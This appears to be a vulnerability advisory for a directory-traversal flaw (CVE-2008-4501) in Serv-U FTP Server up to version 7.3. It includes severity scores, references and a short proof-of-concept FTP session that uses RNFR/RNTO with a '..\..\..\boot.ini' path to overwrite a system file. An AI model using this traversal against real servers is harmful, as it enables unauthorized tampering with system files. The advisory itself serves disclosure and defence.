Serv-U <= 7.3 Remote FTP File Replacement Vulnerability (auth)

2008.10.10

Credit: dmnt

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-4501

CWE: CWE-22

CVSS Base Score: 9/10

Impact Subscore: 10/10

Exploitability Subscore: 8/10

Exploit range: Remote

Attack complexity: Low

Authentication: Single time

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

#Serv-U <= 7.2.0.1 / 7.3 ftp file replacement
#user must have upload permissions
#
#(x) dmnt 2008-10-01
220 Serv-U FTP Server v7.3 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
rnfr any_exist_file.ext
350 File or directory exists, ready for destination name.
rnto ..\..\..\boot.ini
250 RNTO command successful.
#boot.ini rewrited

References:

http://www.frsirt.com/english/advisories/2008/2746

http://www.milw0rm.com/exploits/6661

http://secunia.com/advisories/32150

See this note in RAW Version

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Serv-U <= 7.3 Remote FTP File Replacement Vulnerability (auth)

References:

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